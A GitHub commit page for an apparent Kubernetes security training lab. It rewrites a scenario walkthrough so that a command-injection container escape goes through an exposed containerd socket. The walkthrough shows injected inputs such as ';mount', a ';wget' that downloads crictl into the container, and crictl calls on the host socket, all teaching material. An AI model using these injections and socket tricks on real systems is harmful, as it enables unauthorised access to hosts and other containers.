Skip to content

Commit 2c65dad

Browse files
authored
Merge pull request #150 from nmiekley/master
Use containerd in DIND scenario
2 parents a582969 + 887fbd9 commit 2c65dad

File tree

11 files changed

+23
-88
lines changed

11 files changed

+23
-88
lines changed
57.7 KB
Loading
-12.5 KB
Loading
-156 KB
Loading
Loading
Loading
302 KB
Loading

guide/docs/scenarios/scenario-2/scenario-2.md

Lines changed: 17 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ By the end of the scenario, we will understand and learn the following
2222

2323
### ⚡️ The story
2424

25-
Most of the CI/CD and pipeline systems use the underlying host Docker runtime to build containers for you within the pipeline by using something called DIND (docker-in-docker) with a UNIX socket. Here in this scenario, we try to exploit this misconfiguration and gain access to the host system by escaping out of the docker container.
25+
Most of the CI/CD and pipeline systems use the underlying host container runtime to build containers for you within the pipeline by using something called DIND (docker-in-docker) with a UNIX socket. Here in this scenario, we try to exploit this misconfiguration and gain access to the host system of the worker node by escaping out of the docker container.
2626

2727
:::info
2828

@@ -34,7 +34,7 @@ Most of the CI/CD and pipeline systems use the underlying host Docker runtime to
3434

3535
### 🎯 Goal
3636

37-
The goal of this scenario is to escape out of the running docker container to the host system where the container is running and able to access and perform actions on the host system.
37+
The goal of this scenario is to escape out of the running docker container to the host system where the container is running and able to access and perform actions on other container running on the same node.
3838

3939
:::tip
4040

@@ -54,31 +54,14 @@ If you can able to obtain container images in the host system then you have comp
5454
<details>
5555
<summary><b>✨ Able to run system commands, not sure how to access containers? </b></summary>
5656
<div>
57-
<div>Identify the mounted UNIX socket volume, and use docker binary to communicate with that with <b>-H</b> flag 🎉</div>
57+
<div>Identify the mounted UNIX socket volume, and use the crictl binary to communicate with that with <b>-r</b> flag 🎉</div>
5858
</div>
5959
</details>
6060

6161
## 🎉 Solution & Walkthrough
6262

6363
### 🎲 Method 1
6464

65-
- Start by checking that DNS resolution is working for your cluster. If this doesn't work, check to see if you have a DNS service like CoreDNS running on your cluster.
66-
67-
```bash
68-
www.google.com
69-
```
70-
71-
:::tip
72-
- if you get your local domain appended, try using
73-
74-
```bash
75-
www.google.com.
76-
```
77-
78-
- If you have to do this, you should always add a . after a url, even in wget commands. The extra dot is required is that kubernetes has a default option of ndots:5 in /etc/resolv.conf, which is verifiable in this scenario. This means that unless a minimum of 5 dots are present, the domain is not assumed to be a FQDN.
79-
:::
80-
81-
8265
- By looking at the application functionality and dabbling with the input and output, we can see it has standard command injection vulnerability. Assuming it's running in a Linux container we can use the `;` delimiter to run/pass other commands
8366

8467
```bash
@@ -89,52 +72,53 @@ www.google.com.
8972

9073
- As we can see it returns the response for the `id` command, now we can analyze the system and see what potential information we can obtain
9174

92-
- It contains `docker.sock` mounted into the file system as it's not available commonly in standard systems
75+
- It contains `containerd.sock` mounted into the file system as it's not available commonly in standard systems
9376

9477
```bash
9578
; mount
9679
```
9780

9881
![Scenario 2 mount](../images/sc-2-3.png)
9982

100-
- Wow! we can see the `/custom/docker/docker.sock` mounted in the file system and assuming it's mounted from the host system we need to talk to it for communicating with the UNIX socket
83+
- Wow! we can see the `/custom/containerd/containerd.sock` mounted in the file system and assuming it's mounted from the host system we need to talk to it for communicating with the UNIX socket
10184

10285
:::tip
10386

104-
We can use multiple methods for communicating with the `docker.sock` UNIX socket. Some of them include [official docker binary](https://download.docker.com/linux/static/stable/), or a simple `curl` program as well.
87+
We can use multiple methods for communicating with the `containerd.sock` UNIX socket. Some of them include [crictl binary](https://github.com/kubernetes-sigs/cri-tools/blob/master/docs/crictl.md), or a simple `curl` program as well.
10588

10689
:::
10790

108-
- Next we can download the official `docker` static binary from the internet [https://download.docker.com/linux/static/stable/](https://download.docker.com/linux/static/stable/). In order to determine which binary we need, we can run the following command for system discovery
91+
- Next we can download the `crictl` static binary from the internet [https://github.com/kubernetes-sigs/cri-tools/releases](https://github.com/kubernetes-sigs/cri-tools/releases). In order to determine which binary we need, we can run the following command for system discovery
10992

11093
```bash
11194
;uname -a
11295
```
11396

114-
- We can examine the output to determine our system architecture and OS, then download the appropriate docker binary to the container. For example, if our target system is a x86\_64 Linux box, we can use the following command
97+
- We can examine the output to determine our system architecture and OS, then download the appropriate binary to the container. For example, if our target system is a x86\_64 Linux box, we can use the following command
11598

11699
```bash
117-
;wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz
100+
;wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.27.1/crictl-v1.27.1-linux-amd64.tar.gz -O /tmp/crictl-v1.27.1.tar.gz
118101
```
119102

120-
- We can extract the binary from the `docker-19.03.9.tgz` file so that we can use that to talk to the UNIX socket
103+
- We can extract the binary from the `crictl-v1.27.1.tgz` file so that we can use that to talk to the UNIX socket
121104

122105
```bash
123-
;tar -xvzf /tmp/docker-19.03.9.tgz -C /tmp/
106+
;tar -xvf /tmp/crictl-v1.27.1.tar.gz -C /tmp/
124107
```
125108

126109
![Scenario 2 extract binary](../images/sc-2-4.png)
127110

128-
- Now we can access the host system by running the following docker commands with passing `docker.sock` UNIX socket
111+
- Now we can access the host system by running the following crictl commands with passing `containerd.sock` UNIX socket
129112

130113
```bash
131-
;/tmp/docker/docker -H unix:///custom/docker/docker.sock images
114+
;/tmp/crictl -r unix:///custom/containerd/containerd.sock images
132115
```
133116

134117
![Scenario 2 list host images](../images/sc-2-6.png)
135118

136-
- Hooray 🥳 , now we can see that it has a lot of container images in the host system. We can now use different docker commands to gain more access and further exploitation
119+
- Hooray 🥳 , now we can see that it has a lot of container images in the host system. We can now use different crictl commands to gain more access and further exploitation
137120

138-
## 🔖 References
121+
:::tip
139122

140-
- [Protect the Docker daemon socket](https://docs.docker.com/engine/security/protect-access/)
123+
You can do the analog steps with `ctr` and interact with the containerd runtime. `crictl` shows you containers as visible in kubernetes. `ctr` shows also additional containers, such as kubernetes hidden pause containers.
124+
:::
Lines changed: 1 addition & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,4 @@
11
kind: Cluster
22
apiVersion: kind.x-k8s.io/v1alpha4
33
nodes:
4-
- role: control-plane
5-
extraMounts:
6-
- hostPath: /var/run/docker.sock
7-
containerPath: /var/run/docker.sock
4+
- role: control-plane

platforms/kind-setup/setup-kind-cluster-and-goat.sh

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,4 +29,4 @@ kind create cluster --config kind-cluster-setup.yaml --name kubernetes-goat-clus
2929
cd ../..
3030

3131
# Setup GOAT exposing host Docker socket:
32-
sed 's/scenarios\/health-check\/deployment.yaml/scenarios\/health-check\/deployment-kind.yaml/' setup-kubernetes-goat.sh | sh
32+
sh setup-kubernetes-goat.sh

scenarios/health-check/deployment-kind.yaml

Lines changed: 0 additions & 46 deletions
This file was deleted.

0 commit comments

Comments
 (0)